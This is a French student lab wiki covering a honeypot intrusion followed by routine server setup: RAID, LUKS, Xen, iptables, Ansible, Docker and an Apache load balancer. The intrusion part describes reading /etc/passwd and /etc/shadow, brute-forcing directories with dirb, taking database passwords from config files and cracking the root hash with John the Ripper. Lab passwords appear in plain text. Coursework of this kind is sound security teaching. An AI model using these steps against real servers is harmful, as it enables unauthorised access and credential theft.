Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des &amp;quot;apt install&amp;quot; et ne plus être considéré comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeurs en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir déployer nos containeurs sur tous les serveurs disponibles sur Chassiron nous avons d'abord créé notre rôle &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machines qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zone pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seule notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant ont été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55092</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55092"/>
				<updated>2020-12-20T15:13:11Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
